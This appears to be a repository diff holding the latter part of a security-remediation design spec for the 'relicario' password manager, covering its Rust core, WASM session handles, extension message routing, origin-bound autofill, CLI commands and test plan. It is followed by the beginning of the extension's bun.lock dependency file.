}
if (CONTENT_CALLABLE.has(msg.type)) {
if (!isContent) {
reply({ ok: false, error: 'unauthorized_sender' });
return false;
}
return contentCallable.handle(msg, sender, reply);
}
reply({ ok: false, error: 'unknown_message_type' });
return false;
});
```
### Origin-bound autofill (audit C4)
- `get_autofill_candidates` ignores any `url` in the message body. Uses `sender.tab.url` only.
- `get_credentials(id)` looks up the item, derives `entry.url`'s hostname, compares to `sender.tab.url`'s hostname. Mismatch returns `{ ok: false, error: 'origin_mismatch' }` — no leak.
- Top-frame only: `sender.frameId === 0` required (no autofill into iframes).
- TOFU origin acknowledgement: first autofill on any new hostname requires the user to confirm in the popup. Acknowledged hostnames stored in `VaultSettings.autofill_origin_acks`.
- Pre-popup-fill (`fill_credentials` from popup): when popup opens, capture `(tab.id, tab.url)`. Send `fill_credentials` with that captured tab id, and verify on receipt that the entry's stored URL matches the captured tab's hostname. If user switches tabs mid-flow, the fill is rejected (audit M5).
### Capture prompt rendering (audit C3)
All page-injected UI (`content/capture.ts`, `content/icon.ts`) lives inside a **closed Shadow DOM**:
```ts
const host = document.createElement('div');
document.body.appendChild(host);
const root = host.attachShadow({ mode: 'closed' });
const promptDom = buildPromptDom(values); // textContent only, no innerHTML
root.appendChild(promptDom);
```
Strict rules for content-script DOM construction:
1. **No `innerHTML` anywhere in content scripts.** All construction via `document.createElement` + `.textContent =`.
2. **Element IDs randomized per-prompt** (no stable `relicario-save-btn` for page collisions). Use a per-prompt `Map<string, HTMLElement>` to wire up handlers.
3. **Page-derived values bounded** — username field from `findUsernameValue` capped at 256 chars, control characters stripped, then assigned only via `.textContent`.
4. **CSS scoped via Shadow DOM** — no leak to/from page CSS.
The popup UI (which lives in the extension origin, not page DOM) continues to use the existing `escapeHtml` textContent pattern in `popup.ts:16-20`. Audit L11 (single-quote attribute escaping) is mitigated by mandating double-quote attributes via lint rule.
### Memory hygiene (audit H2)
- **Rust core**: `Zeroizing<>` wrappers as defined in the data model section.
- **WASM bridge**: master_key NEVER returned to JS as `Uint8Array`. Instead:
```rust
#[wasm_bindgen]
pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8])
-> Result<SessionHandle, JsError> { ... }
#[wasm_bindgen]
pub fn list_items(handle: SessionHandle) -> Result<JsValue, JsError> { ... }
```
`SessionHandle` is an opaque `u32` index into a Rust-side `HashMap<u32, Zeroizing<[u8; 32]>>` (the `session.rs` module). Keys live entirely in WASM linear memory inside `Zeroizing<>` structures. `lock(handle)` clears the entry. SW idle-suspend drops all sessions automatically.
- **JS side**: passphrase string cleared from local variables ASAP after passing to WASM. Best-effort only (JS strings are immutable) — primary defense is keeping passphrase in scope for as little time as possible.
### Hardened CLI git shell-out (audit H4)
```rust
fn git_command(args: &[&str]) -> Command {
let mut cmd = Command::new("git");
cmd.args([
"-c", "core.hooksPath=/dev/null",
"-c", "commit.gpgsign=false",
"-c", "core.editor=true", // skip editor on rebase conflict markers
]);
cmd.args(args);
cmd
}
```
Stage specific paths instead of `git add -A`:
```rust
git_command(&[
"add",
&format!("items/{}.enc", id),
"manifest.enc",
])
```
### chrome.storage.local hardening (audit H8)
- `apiToken` and `imageBase64` documented as profile-disk-readable in README + setup wizard final screen ("anyone with filesystem access to your browser profile owns factor 2 + the git push token; your remaining defense is the passphrase").
- Setup wizard PAT instructions emphasize fine-grained PATs (Contents-only, single repo) for both GitHub and Gitea.
### Deferred to Phase 0 implementation
These audit items are bundled into the Phase 0 remediation plan (not this Phase 1 design):
- M3: imgsecret `MAX_DIMENSION` cap (10000px) and dimension peek before decode.
- M5: popup→fill captured-tab verification (covered by autofill section above; implementation in Phase 0).
- M6: CLI clipboard always-clear + `Zeroizing<String>` wrap.
- M7: CLI stdout `Password: ********` by default + `--show` flag.
- M11: CLI ISO-8601 timestamp formatting.
- L7: `cargo audit` / `cargo deny` CI configuration.
- L8: CLI vault-dir detection (refuse to operate outside an `.relicario/`-marked directory).
## WASM API Surface
The opaque session-handle pattern shapes the WASM API. All operations after `unlock` take a `SessionHandle`.
```rust
#[wasm_bindgen]
pub struct SessionHandle(u32);
#[wasm_bindgen]
pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8],
params_json: &str) -> Result<SessionHandle, JsError>;
#[wasm_bindgen]
pub fn lock(handle: SessionHandle);
// Manifest + items
#[wasm_bindgen] pub fn manifest_load(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
#[wasm_bindgen] pub fn manifest_serialize(handle: SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError>;
#[wasm_bindgen] pub fn item_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
#[wasm_bindgen] pub fn item_encrypt(handle: SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError>;
#[wasm_bindgen] pub fn settings_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
#[wasm_bindgen] pub fn settings_encrypt(handle: SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError>;
// Attachments
#[wasm_bindgen] pub fn attachment_encrypt(handle: SessionHandle, plaintext: &[u8]) -> Result<EncryptedAttachment, JsError>;
#[wasm_bindgen] pub fn attachment_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<Vec<u8>, JsError>;
#[wasm_bindgen]
pub struct EncryptedAttachment {
pub aid: String, // sha256 of plaintext, 16-char hex
pub bytes: Vec<u8>,
}
// Generators
#[wasm_bindgen] pub fn generate_password(request_json: &str) -> Result<String, JsError>;
#[wasm_bindgen] pub fn generate_passphrase(request_json: &str) -> Result<String, JsError>;
#[wasm_bindgen] pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError>;
// TOTP
#[wasm_bindgen] pub fn totp_compute(handle: SessionHandle, item_id: &str, field_id: &str, now_unix: u64) -> Result<TotpCode, JsError>;
#[wasm_bindgen] pub struct TotpCode { pub code: String, pub expires_at: u64 }
// Image-secret extraction (called during unlock; signature unchanged from today)
#[wasm_bindgen] pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError>;
#[wasm_bindgen] pub fn embed_image_secret(image_bytes: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError>;
// Item ID generation
#[wasm_bindgen] pub fn new_item_id() -> String; // 16-char hex
#[wasm_bindgen] pub fn new_field_id() -> String;
```
`JsValue` returns are `serde_wasm_bindgen`-serialized typed structs. The TS extension consumes them via generated declarations in `extension/src/wasm.d.ts`.
## CLI Surface
New commands and renamed semantics:
```bash
# Existing (semantics carry forward, terminology updated to "item")
relicario init
relicario unlock # unlocks for next command
relicario lock
relicario sync # git pull --rebase + push, hardened
relicario generate [--length N] [--bip39 [--words N]] [--symbols safe|extended]
relicario device <add|list|revoke>
# Updated for typed items
relicario add <type> [--title T] [--group G] [--tags t1,t2] [--favorite]
[...type-specific fields, e.g., --username, --url, --password-prompt]
relicario get <id-or-title> # always concealed by default; --show to reveal
relicario list [--type T] [--group G] [--tag T] [--trashed]
relicario edit <id-or-title> # interactive prompts for fields to update
# (no $EDITOR with plaintext — temp-file leak risk)
relicario rm <id-or-title> # soft-delete (trash)
relicario restore <id-or-title> # restore from trash
relicario purge <id-or-title> # hard-delete (also purges attachments)
relicario trash empty # hard-delete all past retention
# New for attachments
relicario attach <id-or-title> <file> # adds file as attachment
relicario attachments <id-or-title> # list attachments on item
relicario extract <id-or-title> <aid> [--out path] # decrypt + save to disk
# Settings
relicario settings get [<key>]
relicario settings set <key> <value> # e.g., trash_retention=days:60
```
`relicario get` shows password as `********` by default. `--show` is required to print plaintext. Clipboard auto-clear unconditional after 30s with `Zeroizing<String>` wrap (audit M6, M7).
`vault_dir()` detection: traverses up from CWD looking for `.relicario/`. Refuses to operate without one (audit L8).
## Browser Extension UI Implications
This spec doesn't enumerate every UI screen — that's Phase 5 territory — but the data model imposes shape on the popup:
- **List view**: rendered from manifest only. Per-item: type-icon, title, group/tags, favorite indicator, attachment-count badge.
- **Detail view**: per-type form. Each type's form lives in `extension/src/popup/components/items/<type>.ts` (mirrors the per-type module on the Rust side). Adding a new type later means adding the Rust core file + the TypeScript form file + entries in two enum-like dispatchers.
- **Field rendering**: each `FieldKind` has a known renderer (`Password` → reveal-toggle + copy + generate; `Totp` → rotating display + countdown bar; `Url` → click-to-open; etc.).
- **Custom fields**: rendered in their `Section`, with the user able to add/remove/rename sections and fields inline.
- **History view**: per-item button shows `field_history` table (timestamps + reveal-toggle for old values).
- **Trash view**: filtered list of items where `trashed_at != null`, with restore + purge actions.
- **Settings view**: vault-level retention/generators/caps. Existing capture/blacklist settings move into this consolidated view.
Setup wizard, capture flow, autofill icon, and unlock screen all continue to exist in their current locations but updated for the security architecture (closed Shadow DOM for capture; popup-only sender check for setup).
## Testing Strategy
### Unit tests (Rust)
- **`item_types/`**: per-type round-trip tests (construct → serialize → deserialize → equal), boundary cases (empty optional fields, max-length strings).
- **`field_history`**: setter triggers history on Password/Concealed/Totp; setter ignores history on Text/Url/etc.; retention pruning honors `LastN`/`Days`/`Forever` modes.
- **`crypto`**: length-prefix construction round-trip; verify two distinct `(passphrase, image_secret)` pairs produce distinct master keys (extends existing two-factor independence test); Zeroize-drop test using `tracking_allocator` to verify wipe.
- **`generators`**: bip39 produces requested word count; random-charset honors class toggles; Uniform sampling produces no measurable bias over 100k samples per charset.
- **`session`**: handle table inserts/removes; `lock()` clears the underlying buffer.
### Integration tests (Rust)
- **`tests/typed_items.rs`**: full workflow — init vault, add Login + Card + Document + TOTP, list, edit (verify history captured), soft-delete, restore, purge.
- **`tests/migration.rs`**: explicit "v1 vault is rejected" test (no compat shim — confirm the new client refuses old format with a clear error).
- **Existing `tests/integration.rs`**: keep the two-factor independence + full-workflow tests, port to the new Item type.
### WASM tests
- **`wasm-bindgen-test`** for: session handle lifecycle (`unlock` → `list_items` → `lock`), generator output sanity, RFC 6238 TOTP test vectors, attachment round-trip, manifest round-trip.
- **Browser-flavored test**: load WASM in a headless Chrome via `wasm-pack test --chrome --headless`.
### Extension tests
- **Service worker router**: mock `chrome.runtime.onMessage` and verify each message type is rejected when sent from the wrong sender (popup-only from content, content-callable from popup, anything from external).
- **Origin-bound autofill**: mock `sender.tab.url` and verify cross-origin requests are rejected even when the content script asks nicely.
- **Closed Shadow DOM**: render the capture prompt, verify the page-side `document.querySelector('#relicario-save-btn')` returns null.
- **Generator**: verify no `Math.random()` reachable from any extension entry point (lint rule + runtime probe).
### Manual / observational
- **Heap snapshot of SW after unlock**: inspect WASM linear memory in DevTools and verify master_key bytes are not visible from JS.
- **GitHub + Gitea + self-hosted Gitea**: full add → attach 5MB doc → sync round-trip on each.
- **Conflict reproduction**: two devices edit the same item, verify merge-conflict prompt fires.
## Open Questions / Deferred to Plan
- Exact UI shape for the per-type forms (Phase 5 concern — but Phase 1 implementation will land minimal viable forms for each of the 7 types so the data model is exercisable).
- Field-level merge for conflicting item edits (post-MVP).
- Item-to-item references (e.g., a Login that points at a Key for SSH) — `FieldKind::Reference` currently only points at attachments; expand to ItemReference in a later phase if useful.
- Per-attachment encryption key derivation — currently using the master key directly with a fresh nonce per file. Consider a per-attachment subkey via HKDF for additional defense-in-depth (post-MVP).
- Steam Guard TOTP encoding details.
- HOTP counter conflict resolution. Counter lives in `TotpConfig.kind = Hotp(counter)`, persisted in the item file; each code generation rewrites the item with `counter + 1`. Sync conflicts on a HOTP counter resolve to `max(local, remote)` (advancing past either side's last-used code is correct; falling back is not). To be enforced in the conflict-merge code path.
## Appendix A — Audit Findings Addressed by This Design
| Audit ID | Severity | How this spec addresses it |
|---|---|---|
| C1 | Critical | Setup wizard removed from WAR; sender check on `save_setup` |
| C2 | Critical | Split message router with sender-based dispatch |
| C3 | Critical | Closed Shadow DOM + textContent for all content-script UI |
| C4 | Critical | Origin-bound autofill (`sender.tab.url` only, hostname match required) |
| H1 | High | Length-prefixed `passphrase \|\| image_secret`; NFC normalization |
| H2 | High | `Zeroizing<>` everywhere; opaque session handles (master_key never crosses WASM boundary) |
| H3 | High | `zxcvbn` strength gate at vault creation |
| H4 | High | Hardened git shell-out (no hooks, no GPG sign, no editor; specific paths) |
| H5 | High | `getrandom` for all randomness in WASM; no `Math.random()` |
| H6 | High | `rand::distributions::Uniform` in CLI generator |
| H7 | High | Bump `rpassword` to 7.x (Phase 0) |
| H8 | High | Documented in setup wizard + README; fine-grained PAT guidance |
| M4 | Medium | Opaque `RelicarioError::Decrypt` for all decrypt failures |
| M5 | Medium | Popup captures `(tab.id, tab.url)` at open; verifies on `fill_credentials` |
| M8 | Medium | 16-char hex IDs |
| M9 | Medium | Item type discriminant validation in deserializer |
| L11 | Low | Lint rule mandates double-quote attributes in templates |
Phase 0 implementation handles the remaining items (M3, M6, M7, M11, L7, L8) outside this spec.
## Appendix B — Files Touched
New files (Rust):
```
crates/relicario-core/src/item.rs # Item, Section, Field, FieldKind, FieldValue
crates/relicario-core/src/item_types/mod.rs
crates/relicario-core/src/item_types/login.rs
crates/relicario-core/src/item_types/secure_note.rs
crates/relicario-core/src/item_types/identity.rs
crates/relicario-core/src/item_types/card.rs
crates/relicario-core/src/item_types/key.rs
crates/relicario-core/src/item_types/document.rs
crates/relicario-core/src/item_types/totp.rs
crates/relicario-core/src/manifest.rs # rewritten
crates/relicario-core/src/settings.rs
crates/relicario-core/src/generators.rs
crates/relicario-core/src/attachment.rs
crates/relicario-wasm/src/session.rs
```
New files (extension):
```
extension/src/service-worker/router/index.ts
extension/src/service-worker/router/popup-only.ts
extension/src/service-worker/router/content-callable.ts
extension/src/popup/components/items/login.ts
extension/src/popup/components/items/secure-note.ts
extension/src/popup/components/items/identity.ts
extension/src/popup/components/items/card.ts
extension/src/popup/components/items/key.ts
extension/src/popup/components/items/document.ts
extension/src/popup/components/items/totp.ts
extension/src/popup/components/trash.ts
extension/src/popup/components/history.ts
```
Heavily modified (Rust):
```
crates/relicario-core/src/lib.rs # re-exports + module declarations
crates/relicario-core/src/crypto.rs # length-prefix KDF, Zeroize, NFC
crates/relicario-core/src/entry.rs # DELETED — replaced by item.rs
crates/relicario-core/src/error.rs # opaque Decrypt variant only
crates/relicario-core/Cargo.toml # add zeroize, zxcvbn, bip39, unicode-normalization
crates/relicario-wasm/src/lib.rs # session-handle API, getrandom
crates/relicario-wasm/Cargo.toml # update deps
crates/relicario-cli/src/main.rs # rewritten command handlers
crates/relicario-cli/Cargo.toml # rpassword = "7", clipboard hardening
```
Heavily modified (extension):
```
extension/manifest.json # WAR cleanup
extension/manifest.firefox.json # WAR cleanup
extension/src/service-worker/index.ts # → router/index.ts
extension/src/service-worker/vault.ts # typed-item operations
extension/src/service-worker/git-host.ts # putBlob with Git Data API fallback
extension/src/service-worker/gitea.ts # putBlob impl
extension/src/service-worker/github.ts # putBlob impl
extension/src/content/capture.ts # closed Shadow DOM
extension/src/content/icon.ts # closed Shadow DOM
extension/src/content/detector.ts # bound page-derived strings
extension/src/popup/popup.ts # typed-item dispatch
extension/src/popup/components/entry-list.ts # → item-list.ts
extension/src/popup/components/entry-detail.ts # → dispatcher to per-type detail
extension/src/popup/components/entry-form.ts # → dispatcher to per-type form
extension/src/popup/components/settings.ts # vault settings (retention, generators, caps)
extension/src/popup/components/setup-wizard.ts # zxcvbn integration
extension/src/setup/setup.ts # zxcvbn integration
extension/src/shared/types.ts # Item, ItemType, FieldKind, etc.
extension/src/shared/messages.ts # split per router surface
extension/src/wasm.d.ts # session-handle types
```
Documentation:
```
README.md # update for typed items, security warnings
CLAUDE.md # reflect new module structure
docs/superpowers/specs/2026-04-11-relicario-design.md # amend KDF section per H1; note format v2
```

338
extension/bun.lock Normal file
View File

@@ -0,0 +1,338 @@
{
"lockfileVersion": 1,
"configVersion": 1,
"workspaces": {
"": {
"name": "idfoto-extension",
"devDependencies": {
"@types/chrome": "^0.1.40",
"copy-webpack-plugin": "^12.0",
"ts-loader": "^9.5",
"typescript": "^5.4",
"webpack": "^5.90",
"webpack-cli": "^5.1",
},
},
},
"packages": {
"@discoveryjs/json-ext": ["@discoveryjs/json-ext@0.5.7", "", {}, "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw=="],
"@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
"@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="],
"@jridgewell/source-map": ["@jridgewell/source-map@0.3.11", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.25" } }, "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA=="],
"@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
"@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
"@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="],
"@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="],
"@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="],
"@sindresorhus/merge-streams": ["@sindresorhus/merge-streams@2.3.0", "", {}, "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg=="],
"@types/chrome": ["@types/chrome@0.1.40", "", { "dependencies": { "@types/filesystem": "*", "@types/har-format": "*" } }, "sha512-UnfyRAe8ORu9HSuTH0EqyOEUin3JrWW9Nl/gDXezNfTUrfIoxw+WRZgKOxGz0t5BnjbfXBnS2eCYfW2PxH1wcA=="],
"@types/eslint": ["@types/eslint@9.6.1", "", { "dependencies": { "@types/estree": "*", "@types/json-schema": "*" } }, "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag=="],
"@types/eslint-scope": ["@types/eslint-scope@3.7.7", "", { "dependencies": { "@types/eslint": "*", "@types/estree": "*" } }, "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg=="],
"@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
"@types/filesystem": ["@types/filesystem@0.0.36", "", { "dependencies": { "@types/filewriter": "*" } }, "sha512-vPDXOZuannb9FZdxgHnqSwAG/jvdGM8Wq+6N4D/d80z+D4HWH+bItqsZaVRQykAn6WEVeEkLm2oQigyHtgb0RA=="],
"@types/filewriter": ["@types/filewriter@0.0.33", "", {}, "sha512-xFU8ZXTw4gd358lb2jw25nxY9QAgqn2+bKKjKOYfNCzN4DKCFetK7sPtrlpg66Ywe3vWY9FNxprZawAh9wfJ3g=="],
"@types/har-format": ["@types/har-format@1.2.16", "", {}, "sha512-fluxdy7ryD3MV6h8pTfTYpy/xQzCFC7m89nOH9y94cNqJ1mDIDPut7MnRHI3F6qRmh/cT2fUjG1MLdCNb4hE9A=="],
"@types/json-schema": ["@types/json-schema@7.0.15", "", {}, "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA=="],
"@types/node": ["@types/node@25.6.0", "", { "dependencies": { "undici-types": "~7.19.0" } }, "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ=="],
"@webassemblyjs/ast": ["@webassemblyjs/ast@1.14.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.13.2", "@webassemblyjs/helper-wasm-bytecode": "1.13.2" } }, "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ=="],
"@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.13.2", "", {}, "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA=="],
"@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.13.2", "", {}, "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ=="],
"@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.14.1", "", {}, "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA=="],
"@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.13.2", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.13.2", "@webassemblyjs/helper-api-error": "1.13.2", "@xtuc/long": "4.2.2" } }, "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA=="],
"@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.13.2", "", {}, "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA=="],
"@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/wasm-gen": "1.14.1" } }, "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw=="],
"@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.13.2", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw=="],
"@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.13.2", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw=="],
"@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.13.2", "", {}, "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ=="],
"@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/helper-wasm-section": "1.14.1", "@webassemblyjs/wasm-gen": "1.14.1", "@webassemblyjs/wasm-opt": "1.14.1", "@webassemblyjs/wasm-parser": "1.14.1", "@webassemblyjs/wast-printer": "1.14.1" } }, "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ=="],
"@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/ieee754": "1.13.2", "@webassemblyjs/leb128": "1.13.2", "@webassemblyjs/utf8": "1.13.2" } }, "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg=="],
"@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/wasm-gen": "1.14.1", "@webassemblyjs/wasm-parser": "1.14.1" } }, "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw=="],
"@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-api-error": "1.13.2", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/ieee754": "1.13.2", "@webassemblyjs/leb128": "1.13.2", "@webassemblyjs/utf8": "1.13.2" } }, "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ=="],
"@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@xtuc/long": "4.2.2" } }, "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw=="],
"@webpack-cli/configtest": ["@webpack-cli/configtest@2.1.1", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-wy0mglZpDSiSS0XHrVR+BAdId2+yxPSoJW8fsna3ZpYSlufjvxnP4YbKTCBZnNIcGN4r6ZPXV55X4mYExOfLmw=="],
"@webpack-cli/info": ["@webpack-cli/info@2.0.2", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-zLHQdI/Qs1UyT5UBdWNqsARasIA+AaF8t+4u2aS2nEpBQh2mWIVb8qAklq0eUENnC5mOItrIB4LiS9xMtph18A=="],
"@webpack-cli/serve": ["@webpack-cli/serve@2.0.5", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-lqaoKnRYBdo1UgDX8uF24AfGMifWK19TxPmM5FHc2vAGxrJ/qtyUyFBWoY1tISZdelsQ5fBcOusifo5o5wSJxQ=="],
"@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
"@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
"acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
"acorn-import-phases": ["acorn-import-phases@1.0.4", "", { "peerDependencies": { "acorn": "^8.14.0" } }, "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ=="],
